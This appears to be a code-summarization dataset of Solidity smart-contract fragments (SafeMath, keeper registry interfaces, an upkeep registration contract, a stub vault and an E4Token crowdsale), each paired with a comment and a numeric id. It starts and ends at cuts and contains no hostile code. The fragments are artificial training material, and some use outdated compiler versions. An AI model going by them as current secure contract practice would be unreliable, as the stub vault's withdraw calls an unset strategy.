(uint96) { require(b <= a, "SafeMath: subtraction overflow"); uint96 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint96 a, uint96 b) internal pure returns (uint96) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint96 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint96 a, uint96 b) internal pure returns (uint96) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint96 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint96 a, uint96 b) internal pure returns (uint96) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; interface KeeperCompatibleInterface { /** * @notice method that is simulated by the keepers to see if any work actually * needs to be performed. This method does does not actually need to be * executable, and since it is only ever simulated it can consume lots of gas. * @dev To ensure that it is never called, you may want to add the * cannotExecute modifier from KeeperBase to your implementation of this * method. * @param checkData specified in the upkeep registration so it is always the * same for a registered upkeep. This can easilly be broken down into specific * arguments using `abi.decode`, so multiple upkeeps can be registered on the * same contract and easily differentiated by the contract. * @return upkeepNeeded boolean to indicate whether the keeper should call * performUpkeep or not. * @return performData bytes that the keeper should call performUpkeep with, if * upkeep is needed. If you would like to encode data to decode later, try * `abi.encode`. */ function checkUpkeep( bytes calldata checkData ) external returns ( bool upkeepNeeded, bytes memory performData ); /** * @notice method that is actually executed by the keepers, via the registry. * The data returned by the checkUpkeep simulation will be passed into * this method to actually be executed. * @dev The input to this method should not be trusted, and the caller of the * method should not even be restricted to any single registry. Anyone should * be able call it, and the input should be validated, there is no guarantee * that the data passed in is the performData returned from checkUpkeep. This * could happen due to malicious keepers, racing keepers, or simply a state * change while the performUpkeep transaction is waiting for confirmation. * Always validate the data passed in. * @param performData is the data which was passed back from the checkData * simulation. If it is encoded, it can easily be decoded into other types by * calling `abi.decode`. This data should not be trusted, and should be * validated against the contract's current state. */ function performUpkeep( bytes calldata performData ) external; } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; interface KeeperRegistryBaseInterface { function registerUpkeep( address target, uint32 gasLimit, address admin, bytes calldata checkData ) external returns ( uint256 id ); function performUpkeep( uint256 id, bytes calldata performData ) external returns ( bool success ); function cancelUpkeep( uint256 id ) external; function addFunds( uint256 id, uint96 amount ) external; function getUpkeep(uint256 id) external view returns ( address target, uint32 executeGas, bytes memory checkData, uint96 balance, address lastKeeper, address admin, uint64 maxValidBlocknumber ); function getUpkeepCount() external view returns (uint256); function getCanceledUpkeepList() external view returns (uint256[] memory); function getKeeperList() external view returns (address[] memory); function getKeeperInfo(address query) external view returns ( address payee, bool active, uint96 balance ); function getConfig() external view returns ( uint32 paymentPremiumPPB, uint24 checkFrequencyBlocks, uint32 checkGasLimit, uint24 stalenessSeconds, uint16 gasCeilingMultiplier, int256 fallbackGasPrice, int256 fallbackLinkPrice ); } /** * @dev The view methods are not actually marked as view in the implementation * but we want them to be easily queried off-chain. Solidity will not compile * if we actually inherrit from this interface, so we document it here. */ interface KeeperRegistryInterface is KeeperRegistryBaseInterface { function checkUpkeep( uint256 upkeepId, address from ) external view returns ( bytes memory performData, uint256 maxLinkPayment, uint256 gasLimit, int256 gasWei, int256 linkEth ); } interface KeeperRegistryExecutableInterface is KeeperRegistryBaseInterface { function checkUpkeep( uint256 upkeepId, address from ) external returns ( bytes memory performData, uint256 maxLinkPayment, uint256 gasLimit, int256 gasWei, int256 linkEth ); } // SPDX-License-Identifier: MIT // github.com/OpenZeppelin/[emailΒ protected] pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; import "./vendor/Owned.sol"; import "./KeeperRegistryInterface.sol"; /** * @notice Contract to accept requests for upkeep registrations * @dev There are 2 registration workflows in this contract * Flow 1. auto approve OFF / manual registration - UI calls `register` function on this contract, this contract owner at a later time then manually * calls `approve` to register upkeep and emit events to inform UI and others interested. * Flow 2. auto approve ON / real time registration - UI calls `register` function as before, which calls the `registerUpkeep` function directly on * keeper registry and then emits approved event to finish the flow automatically without manual intervention. * The idea is to have same interface(functions,events) for UI or anyone using this contract irrespective of auto approve being enabled or not. * they can just listen to `RegistrationRequested` & `RegistrationApproved` events and know the status on registrations. */ contract UpkeepRegistrationRequests is Owned { bytes4 private constant REGISTER_REQUEST_SELECTOR = this.register.selector; uint256 private s_minLINKJuels; address public immutable LINK_ADDRESS; struct AutoApprovedConfig { bool enabled; uint16 allowedPerWindow; uint32 windowSizeInBlocks; uint64 windowStart; uint16 approvedInCurrentWindow; } AutoApprovedConfig private s_config; KeeperRegistryBaseInterface private s_keeperRegistry; event MinLINKChanged(uint256 from, uint256 to); event RegistrationRequested( bytes32 indexed hash, string name, bytes encryptedEmail, address indexed upkeepContract, uint32 gasLimit, address adminAddress, bytes checkData, uint8 indexed source ); event RegistrationApproved( bytes32 indexed hash, string displayName, uint256 indexed upkeepId ); constructor( address LINKAddress, uint256 minimumLINKJuels ) { LINK_ADDRESS = LINKAddress; s_minLINKJuels = minimumLINKJuels; } //EXTERNAL /** * @notice register can only be called through transferAndCall on LINK contract * @param name name of the upkeep to be registered * @param encryptedEmail Amount of LINK sent (specified in Juels) * @param upkeepContract address to peform upkeep on * @param gasLimit amount of gas to provide the target contract when * performing upkeep * @param adminAddress address to cancel upkeep and withdraw remaining funds * @param checkData data passed to the contract when checking for upkeep * @param source application sending this request */ function register( string memory name, bytes calldata encryptedEmail, address upkeepContract, uint32 gasLimit, address adminAddress, bytes calldata checkData, uint8 source ) external onlyLINK() { bytes32 hash = keccak256(msg.data); emit RegistrationRequested( hash, name, encryptedEmail, upkeepContract, gasLimit, adminAddress, checkData, source ); AutoApprovedConfig memory config = s_config; // if auto approve is true send registration request to the Keeper Registry contract if (config.enabled) { _resetWindowIfRequired(config); if (config.approvedInCurrentWindow < config.allowedPerWindow) { config.approvedInCurrentWindow++; s_config = config; _approve( name, upkeepContract, gasLimit, adminAddress, checkData, hash ); } } } /** * @dev register upkeep on KeeperRegistry contract and emit RegistrationApproved event */ function approve( string memory name, address upkeepContract, uint32 gasLimit, address adminAddress, bytes calldata checkData, bytes32 hash ) external onlyOwner() { _approve( name, upkeepContract, gasLimit, adminAddress, checkData, hash ); } /** * @notice owner calls this function to set minimum LINK required to send registration request * @param minimumLINKJuels minimum LINK required to send registration request */ function setMinLINKJuels( uint256 minimumLINKJuels ) external onlyOwner() { emit MinLINKChanged(s_minLINKJuels, minimumLINKJuels); s_minLINKJuels = minimumLINKJuels; } /** * @notice read the minimum LINK required to send registration request */ function getMinLINKJuels() external view returns ( uint256 ) { return s_minLINKJuels; } /** * @notice owner calls this function to set if registration requests should be sent directly to the Keeper Registry * @param enabled setting for autoapprove registrations * @param windowSizeInBlocks window size defined in number of blocks * @param allowedPerWindow number of registrations that can be auto approved in above window * @param keeperRegistry new keeper registry address */ function setRegistrationConfig( bool enabled, uint32 windowSizeInBlocks, uint16 allowedPerWindow, address keeperRegistry ) external onlyOwner() { s_config = AutoApprovedConfig({ enabled: enabled, allowedPerWindow: allowedPerWindow, windowSizeInBlocks: windowSizeInBlocks, windowStart: 0, approvedInCurrentWindow: 0 }); s_keeperRegistry = KeeperRegistryBaseInterface(keeperRegistry); } /** * @notice read the current registration configuration */ function getRegistrationConfig() external view returns ( bool enabled, uint32 windowSizeInBlocks, uint16 allowedPerWindow, address keeperRegistry, uint64 windowStart, uint16 approvedInCurrentWindow ) { AutoApprovedConfig memory config = s_config; return ( config.enabled, config.windowSizeInBlocks, config.allowedPerWindow, address(s_keeperRegistry), config.windowStart, config.approvedInCurrentWindow ); } /** * @notice Called when LINK is sent to the contract via `transferAndCall` * @param amount Amount of LINK sent (specified in Juels) * @param data Payload of the transaction */ function onTokenTransfer( address, /* sender */ uint256 amount, bytes calldata data ) external onlyLINK() permittedFunctionsForLINK(data) { require(amount >= s_minLINKJuels, "Insufficient payment"); (bool success, ) = address(this).delegatecall(data); // calls register require(success, "Unable to create request"); } //PRIVATE /** * @dev reset auto approve window if passed end of current window */ function _resetWindowIfRequired( AutoApprovedConfig memory config ) private { uint64 blocksPassed = uint64(block.number - config.windowStart); if (blocksPassed >= config.windowSizeInBlocks) { config.windowStart = uint64(block.number); config.approvedInCurrentWindow = 0; s_config = config; } } /** * @dev register upkeep on KeeperRegistry contract and emit RegistrationApproved event */ function _approve( string memory name, address upkeepContract, uint32 gasLimit, address adminAddress, bytes calldata checkData, bytes32 hash ) private { //call register on keeper Registry uint256 upkeepId = s_keeperRegistry.registerUpkeep( upkeepContract, gasLimit, adminAddress, checkData ); // emit approve event emit RegistrationApproved(hash, name, upkeepId); } //MODIFIERS /** * @dev Reverts if not sent from the LINK token */ modifier onlyLINK() { require(msg.sender == LINK_ADDRESS, "Must use LINK token"); _; } /** * @dev Reverts if the given data does not begin with the `register` function selector * @param _data The data payload of the request */ modifier permittedFunctionsForLINK( bytes memory _data ) { bytes4 funcSelector; assembly { // solhint-disable-next-line avoid-low-level-calls funcSelector := mload(add(_data, 32)) } require( funcSelector == REGISTER_REQUEST_SELECTOR, "Must use whitelisted functions" ); _; } } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; import './KeeperBase.sol'; import './KeeperCompatibleInterface.sol'; abstract contract KeeperCompatible is KeeperBase, KeeperCompatibleInterface {} // SPDX-License-Identifier: MIT pragma solidity 0.7.6; import '../KeeperCompatible.sol'; contract UpkeepReverter is KeeperCompatible { function checkUpkeep(bytes calldata data) public view override cannotExecute() returns ( bool callable, bytes calldata executedata ) { require(false, "!working"); return (true, data); } function performUpkeep( bytes calldata ) external pure override { require(false, "!working"); } } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; import '../KeeperCompatible.sol'; contract UpkeepMock is KeeperCompatible { bool public canCheck; bool public canPerform; event UpkeepPerformedWith(bytes upkeepData); function setCanCheck(bool value) public { canCheck = value; } function setCanPerform(bool value) public { canPerform = value; } function checkUpkeep(bytes calldata data) external override cannotExecute() returns ( bool callable, bytes calldata executedata ) { bool couldCheck = canCheck; setCanCheck(false); // test that state modifcations don't stick return (couldCheck, data); } function performUpkeep( bytes calldata data ) external override { require(canPerform, "Cannot perform"); setCanPerform(false); emit UpkeepPerformedWith(data); } }
read all of the details about an upkeep/
function getUpkeep( uint256 id ) external view override returns ( address target, uint32 executeGas, bytes memory checkData, uint96 balance, address lastKeeper, address admin, uint64 maxValidBlocknumber ) { Upkeep memory reg = s_upkeep[id]; return ( reg.target, reg.executeGas, s_checkData[id], reg.balance, reg.lastKeeper, reg.admin, reg.maxValidBlocknumber ); }
5,993,633
./partial_match/1/0xB0e8FA1fAa6585B1E2Ab880d98eCf1bb01f69aF0/sources/DigitsRedeemer.sol
get the info for a staked token
function getStakedInfo(address staker, bool isFoundingAgents) external view returns(StakeInfo memory) { if (isFoundingAgents) { return addressToFoundingAgentsStaked[staker]; } else { return addressToDigitsAgentsStaked[staker]; } }
16,015,271
pragma solidity 0.5.16; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/math/Math.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol"; import "../hardworkInterface/IStrategy.sol"; import "../hardworkInterface/IController.sol"; import "../hardworkInterface/IVault.sol"; import "../Governable.sol"; import "../Controllable.sol"; contract NoopVault is ERC20, ERC20Detailed, IVault, Controllable { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; event Withdraw(address indexed beneficiary, uint256 amount); event Deposit(address indexed beneficiary, uint256 amount, uint16 referral); event Invest(uint256 amount); IStrategy public strategy; IERC20 public underlying; IStrategy[] public strategies; uint256 underlyingUnit; mapping(address => uint256) contributions; mapping(address => uint256) withdrawals; // how much was deposited in total using the deposit() method // note this would be different from the actual balance uint256 public totalUnderlyingDeposited = 0; uint256 vaultFractionToInvestNumerator = 9500; // investing 95% of the vault uint256 vaultFractionToInvestDenominator = 10000; constructor( address _storage, address _underlying, uint256 _toInvestNumerator, uint256 _toInvestDenominator ) public ERC20Detailed( string( abi.encodePacked("Chad_", ERC20Detailed(_underlying).name()) ), string( abi.encodePacked("chad", ERC20Detailed(_underlying).symbol()) ), ERC20Detailed(_underlying).decimals() ) Controllable(_storage) { underlying = IERC20(_underlying); require( _toInvestNumerator <= _toInvestDenominator, "cannot invest more than 100%" ); require(_toInvestDenominator != 0, "cannot divide by 0"); vaultFractionToInvestDenominator = _toInvestDenominator; vaultFractionToInvestNumerator = _toInvestNumerator; underlyingUnit = 10**uint256(ERC20Detailed(address(underlying)).decimals()); } function addStrategy(address _strategy) public {} function removeStrategy(address _strategy) public {} function getNumberOfStrategies() public view returns (uint256) { return 0; } function bestStrategy() public view returns (IStrategy) { return IStrategy(address(0)); } function doHardWork() external {} function underlyingBalanceInVault() public view returns (uint256) { return underlying.balanceOf(address(this)); } function underlyingBalanceWithInvestment() public view returns (uint256) { return underlyingBalanceInVault(); } /* * Allows for getting the total contributions ever made. */ function getContributions(address holder) public view returns (uint256) { return contributions[holder]; } /* * Allows for getting the total withdrawals ever made. */ function getWithdrawals(address holder) public view returns (uint256) { return withdrawals[holder]; } function getPricePerFullShare() public view returns (uint256) { return totalSupply() == 0 ? underlyingUnit : underlyingUnit.mul(underlyingBalanceWithInvestment()).div( totalSupply() ); } /* get the user's share (in underlying) */ function underlyingBalanceWithInvestmentForHolder(address holder) external view returns (uint256) { if (totalSupply() == 0) { return 0; } return underlyingBalanceWithInvestment().mul(balanceOf(holder)).div( totalSupply() ); } function strategyExists(address _strategy) public view returns (bool) { return false; } function setStrategy(address _strategy) public {} function setVaultFractionToInvest(uint256 numerator, uint256 denominator) external onlyGovernance { require(denominator > 0, "denominator must be greater than 0"); require( numerator <= denominator, "denominator must be greater than or equal to numerator" ); vaultFractionToInvestNumerator = numerator; vaultFractionToInvestDenominator = denominator; } function availableToInvestOut() public view returns (uint256) { return 0; } function invest() public {} function deposit(uint256 amount, uint16 _referral) external { _deposit(amount, msg.sender, msg.sender, _referral); } function depositFor( uint256 amount, address holder, uint16 referral ) public { _deposit(amount, msg.sender, holder, referral); } function withdrawAll() external {} function withdraw(uint256 numberOfShares) external { require(totalSupply() > 0, "Vault has no shares"); require(numberOfShares > 0, "numberOfShares must be greater than 0"); uint256 underlyingAmountToWithdraw = underlyingBalanceWithInvestment().mul(numberOfShares).div( totalSupply() ); if (underlyingAmountToWithdraw > underlyingBalanceInVault()) { // withdraw everything from the strategy to accurately check the share value uint256 missing = underlyingAmountToWithdraw.sub(underlyingBalanceInVault()); strategy.withdrawToVault(missing); // recalculate to improve accuracy underlyingAmountToWithdraw = Math.min( underlyingBalanceWithInvestment().mul(numberOfShares).div( totalSupply() ), underlying.balanceOf(address(this)) ); } _burn(msg.sender, numberOfShares); underlying.safeTransfer(msg.sender, underlyingAmountToWithdraw); // update the withdrawal amount for the holder withdrawals[msg.sender] = withdrawals[msg.sender].add( underlyingAmountToWithdraw ); emit Withdraw(msg.sender, underlyingAmountToWithdraw); } function _deposit( uint256 amount, address sender, address beneficiary, uint16 referral ) internal { require(amount > 0, "Cannot deposit 0"); require(beneficiary != address(0), "holder must be defined"); uint256 toMint = totalSupply() == 0 ? amount : amount.mul(totalSupply()).div( underlyingBalanceWithInvestment() ); _mint(beneficiary, toMint); uint256 oldActualBalance = underlyingBalanceInVault(); underlying.safeTransferFrom(sender, address(this), amount); // confirm a successful transfer assert(underlyingBalanceInVault().sub(amount) >= oldActualBalance); totalUnderlyingDeposited = totalUnderlyingDeposited.add(amount); // update the contribution amount for the beneficiary contributions[beneficiary] = contributions[beneficiary].add(amount); emit Deposit(beneficiary, amount, referral); } }
confirm a successful transfer update the contribution amount for the beneficiary
function _deposit( uint256 amount, address sender, address beneficiary, uint16 referral ) internal { require(amount > 0, "Cannot deposit 0"); require(beneficiary != address(0), "holder must be defined"); uint256 toMint = totalSupply() == 0 ? amount : amount.mul(totalSupply()).div( underlyingBalanceWithInvestment() ); _mint(beneficiary, toMint); uint256 oldActualBalance = underlyingBalanceInVault(); underlying.safeTransferFrom(sender, address(this), amount); assert(underlyingBalanceInVault().sub(amount) >= oldActualBalance); totalUnderlyingDeposited = totalUnderlyingDeposited.add(amount); contributions[beneficiary] = contributions[beneficiary].add(amount); emit Deposit(beneficiary, amount, referral); }
12,549,329
./full_match/1/0x899c90E1a52Fa650ab752A01F397634F6B593313/sources/contracts/baggys99c.sol
This function packs two uint32 values into a single uint64 value. a: first uint32 b: second uint32/
function pack(uint32 a, uint32 b) internal pure returns (uint64) { return uint64(a) << 32 | uint64(b); }
8,494,157
// VERSION K pragma solidity ^0.4.8; // // FOR REFERENCE - INCLUDE iE4RowEscrow (interface) CONTRACT at the top ..... // contract iE4RowEscrow { function getNumGamesStarted() constant returns (int ngames); } // Abstract contract for the full ERC 20 Token standard // https://github.com/ethereum/EIPs/issues/20 // --------------------------------- // ABSTRACT standard token class // --------------------------------- contract Token { function totalSupply() constant returns (uint256 supply); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } // -------------------------- // E4RowRewards - abstract e4 dividend contract // -------------------------- contract E4RowRewards { function checkDividends(address _addr) constant returns(uint _amount); function withdrawDividends() public returns (uint namount); } // -------------------------- // Finney Chip - token contract // -------------------------- contract E4Token is Token, E4RowRewards { event StatEvent(string msg); event StatEventI(string msg, uint val); enum SettingStateValue {debug, release, lockedRelease} enum IcoStatusValue {anouncement, saleOpen, saleClosed, failed, succeeded} struct tokenAccount { bool alloced; // flag to ascert prior allocation uint tokens; // num tokens uint balance; // rewards balance } // ----------------------------- // data storage // ---------------------------------------- address developers; // developers token holding address address public owner; // deployer executor address founderOrg; // founder orginaization contract address auxPartner; // aux partner (pr/auditing) - 1 percent upon close address e4_partner; // e4row contract addresses mapping (address => tokenAccount) holderAccounts ; // who holds how many tokens (high two bytes contain curPayId) mapping (uint => address) holderIndexes ; // for iteration thru holder uint numAccounts; uint partnerCredits; // amount partner (e4row) has paid mapping (address => mapping (address => uint256)) allowed; // approvals uint maxMintableTokens; // ... uint minIcoTokenGoal;// token goal by sale end uint minUsageGoal; // num games goal by usage deadline uint public tokenPrice; // price per token uint public payoutThreshold; // threshold till payout uint totalTokenFundsReceived; // running total of token funds received uint public totalTokensMinted; // total number of tokens minted uint public holdoverBalance; // hold this amount until threshhold before reward payout int public payoutBalance; // hold this amount until threshhold before reward payout int prOrigPayoutBal; // original payout balance before run uint prOrigTokensMint; // tokens minted at start of pay run uint public curPayoutId; // current payout id uint public lastPayoutIndex; // payout idx between run segments uint public maxPaysPer; // num pays per segment uint public minPayInterval; // min interval between start pay run uint fundingStart; // funding start time immediately after anouncement uint fundingDeadline; // funding end time uint usageDeadline; // deadline where minimum usage needs to be met before considered success uint public lastPayoutTime; // timestamp of last payout time uint vestTime; // 1 year past sale vest developer tokens uint numDevTokens; // 10 per cent of tokens after close to developers bool developersGranted; // flag uint remunerationStage; // 0 for not yet, 1 for 10 percent, 2 for remaining upon succeeded. uint public remunerationBalance; // remuneration balance to release token funds uint auxPartnerBalance; // aux partner balance - 1 percent uint rmGas; // remuneration gas uint rwGas; // reward gas uint rfGas; // refund gas IcoStatusValue icoStatus; // current status of ico SettingStateValue public settingsState; // -------------------- // contract constructor // -------------------- function E4Token() { owner = msg.sender; developers = msg.sender; } // ----------------------------------- // use this to reset everything, will never be called after lockRelease // ----------------------------------- function applySettings(SettingStateValue qState, uint _saleStart, uint _saleEnd, uint _usageEnd, uint _minUsage, uint _tokGoal, uint _maxMintable, uint _threshold, uint _price, uint _mpp, uint _mpi ) { if (msg.sender != owner) return; // these settings are permanently tweakable for performance adjustments payoutThreshold = _threshold; maxPaysPer = _mpp; minPayInterval = _mpi; // this first test checks if already locked if (settingsState == SettingStateValue.lockedRelease) return; settingsState = qState; // this second test allows locking without changing other permanent settings // WARNING, MAKE SURE YOUR'RE HAPPY WITH ALL SETTINGS // BEFORE LOCKING if (qState == SettingStateValue.lockedRelease) { StatEvent("Locking!"); return; } icoStatus = IcoStatusValue.anouncement; rmGas = 100000; // remuneration gas rwGas = 10000; // reward gas rfGas = 10000; // refund gas // zero out all token holders. // leave alloced on, leave num accounts // cant delete them anyways if (totalTokensMinted > 0) { for (uint i = 0; i < numAccounts; i++ ) { address a = holderIndexes[i]; if (a != address(0)) { holderAccounts[a].tokens = 0; holderAccounts[a].balance = 0; } } } // do not reset numAccounts! totalTokensMinted = 0; // this will erase totalTokenFundsReceived = 0; // this will erase. partnerCredits = 0; // reset all partner credits fundingStart = _saleStart; fundingDeadline = _saleEnd; usageDeadline = _usageEnd; minUsageGoal = _minUsage; minIcoTokenGoal = _tokGoal; maxMintableTokens = _maxMintable; tokenPrice = _price; vestTime = fundingStart + (365 days); numDevTokens = 0; holdoverBalance = 0; payoutBalance = 0; curPayoutId = 1; lastPayoutIndex = 0; remunerationStage = 0; remunerationBalance = 0; auxPartnerBalance = 0; developersGranted = false; lastPayoutTime = 0; if (this.balance > 0) { if (!owner.call.gas(rfGas).value(this.balance)()) StatEvent("ERROR!"); } StatEvent("ok"); } // --------------------------------------------------- // tokens held reserve the top two bytes for the payid last paid. // this is so holders at the top of the list dont transfer tokens // to themselves on the bottom of the list thus scamming the // system. this function deconstructs the tokenheld value. // --------------------------------------------------- function getPayIdAndHeld(uint _tokHeld) internal returns (uint _payId, uint _held) { _payId = (_tokHeld / (2 ** 48)) & 0xffff; _held = _tokHeld & 0xffffffffffff; } function getHeld(uint _tokHeld) internal returns (uint _held) { _held = _tokHeld & 0xffffffffffff; } // --------------------------------------------------- // allocate a new account by setting alloc to true // set the top to bytes of tokens to cur pay id to leave out of current round // add holder index, bump the num accounts // --------------------------------------------------- function addAccount(address _addr) internal { holderAccounts[_addr].alloced = true; holderAccounts[_addr].tokens = (curPayoutId * (2 ** 48)); holderIndexes[numAccounts++] = _addr; } // -------------------------------------- // BEGIN ERC-20 from StandardToken // -------------------------------------- function totalSupply() constant returns (uint256 supply) { if (icoStatus == IcoStatusValue.saleOpen || icoStatus == IcoStatusValue.anouncement) supply = maxMintableTokens; else supply = totalTokensMinted; } function transfer(address _to, uint256 _value) returns (bool success) { if ((msg.sender == developers) && (now < vestTime)) { //statEvent("Tokens not yet vested."); return false; } //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (holderAccounts[msg.sender] >= _value && balances[_to] + _value > holderAccounts[_to]) { var (pidFrom, heldFrom) = getPayIdAndHeld(holderAccounts[msg.sender].tokens); if (heldFrom >= _value && _value > 0) { holderAccounts[msg.sender].tokens -= _value; if (!holderAccounts[_to].alloced) { addAccount(_to); } uint newHeld = _value + getHeld(holderAccounts[_to].tokens); holderAccounts[_to].tokens = newHeld | (pidFrom * (2 ** 48)); Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if ((_from == developers) && (now < vestTime)) { //statEvent("Tokens not yet vested."); return false; } //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { var (pidFrom, heldFrom) = getPayIdAndHeld(holderAccounts[_from].tokens); if (heldFrom >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { holderAccounts[_from].tokens -= _value; if (!holderAccounts[_to].alloced) addAccount(_to); uint newHeld = _value + getHeld(holderAccounts[_to].tokens); holderAccounts[_to].tokens = newHeld | (pidFrom * (2 ** 48)); allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { // vars default to 0 if (holderAccounts[_owner].alloced) { balance = getHeld(holderAccounts[_owner].tokens); } } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } // ---------------------------------- // END ERC20 // ---------------------------------- // ------------------------------------------- // default payable function. // if sender is e4row partner, this is a rake fee payment // otherwise this is a token purchase. // tokens only purchaseable between tokenfundingstart and end // ------------------------------------------- function () payable { if (msg.sender == e4_partner) { feePayment(); // from e4row game escrow contract } else { purchaseToken(); } } // ----------------------------- // purchase token function - tokens only sold during sale period up until the max tokens // purchase price is tokenPrice. all units in wei. // purchaser will not be included in current pay run // ----------------------------- function purchaseToken() payable { uint nvalue = msg.value; // being careful to preserve msg.value address npurchaser = msg.sender; if (nvalue < tokenPrice) throw; uint qty = nvalue/tokenPrice; updateIcoStatus(); if (icoStatus != IcoStatusValue.saleOpen) // purchase is closed throw; if (totalTokensMinted + qty > maxMintableTokens) throw; if (!holderAccounts[npurchaser].alloced) addAccount(npurchaser); // purchaser waits for next payrun. otherwise can disrupt cur pay run uint newHeld = qty + getHeld(holderAccounts[npurchaser].tokens); holderAccounts[npurchaser].tokens = newHeld | (curPayoutId * (2 ** 48)); totalTokensMinted += qty; totalTokenFundsReceived += nvalue; if (totalTokensMinted == maxMintableTokens) { icoStatus = IcoStatusValue.saleClosed; //test unnecessary - if (getNumTokensPurchased() >= minIcoTokenGoal) doDeveloperGrant(); StatEventI("Purchased,Granted", qty); } else StatEventI("Purchased", qty); } // --------------------------- // accept payment from e4row contract // DO NOT CALL THIS FUNCTION LEST YOU LOSE YOUR MONEY // --------------------------- function feePayment() payable { if (msg.sender != e4_partner) { StatEvent("forbidden"); return; // thank you } uint nfvalue = msg.value; // preserve value in case changed in dev grant updateIcoStatus(); holdoverBalance += nfvalue; partnerCredits += nfvalue; StatEventI("Payment", nfvalue); if (holdoverBalance > payoutThreshold || payoutBalance > 0) doPayout(maxPaysPer); } // --------------------------- // set the e4row partner, this is only done once // --------------------------- function setE4RowPartner(address _addr) public { // ONLY owner can set and ONLY ONCE! (unless "unlocked" debug) // once its locked. ONLY ONCE! if (msg.sender == owner) { if ((e4_partner == address(0)) || (settingsState == SettingStateValue.debug)) { e4_partner = _addr; partnerCredits = 0; //StatEventI("E4-Set", 0); } else { StatEvent("Already Set"); } } } // ---------------------------- // return the total tokens purchased // ---------------------------- function getNumTokensPurchased() constant returns(uint _purchased) { _purchased = totalTokensMinted-numDevTokens; } // ---------------------------- // return the num games as reported from the e4row contract // ---------------------------- function getNumGames() constant returns(uint _games) { //_games = 0; if (e4_partner != address(0)) { iE4RowEscrow pe4 = iE4RowEscrow(e4_partner); _games = uint(pe4.getNumGamesStarted()); } //else //StatEvent("Empty E4"); } // ------------------------------------------------ // get the founders, auxPartner, developer // -------------------------------------------------- function getSpecialAddresses() constant returns (address _fndr, address _aux, address _dev, address _e4) { //if (_sender == owner) { // no msg.sender on constant functions at least in mew _fndr = founderOrg; _aux = auxPartner; _dev = developers; _e4 = e4_partner; //} } // ---------------------------- // update the ico status // ---------------------------- function updateIcoStatus() public { if (icoStatus == IcoStatusValue.succeeded || icoStatus == IcoStatusValue.failed) return; else if (icoStatus == IcoStatusValue.anouncement) { if (now > fundingStart && now <= fundingDeadline) { icoStatus = IcoStatusValue.saleOpen; } else if (now > fundingDeadline) { // should not be here - this will eventually fail icoStatus = IcoStatusValue.saleClosed; } } else { uint numP = getNumTokensPurchased(); uint numG = getNumGames(); if ((now > fundingDeadline && numP < minIcoTokenGoal) || (now > usageDeadline && numG < minUsageGoal)) { icoStatus = IcoStatusValue.failed; } else if ((now > fundingDeadline) // dont want to prevent more token sales && (numP >= minIcoTokenGoal) && (numG >= minUsageGoal)) { icoStatus = IcoStatusValue.succeeded; // hooray } if (icoStatus == IcoStatusValue.saleOpen && ((numP >= maxMintableTokens) || (now > fundingDeadline))) { icoStatus = IcoStatusValue.saleClosed; } } if (!developersGranted && icoStatus != IcoStatusValue.saleOpen && icoStatus != IcoStatusValue.anouncement && getNumTokensPurchased() >= minIcoTokenGoal) { doDeveloperGrant(); // grant whenever status goes from open to anything... } } // ---------------------------- // request refund. Caller must call to request and receive refund // 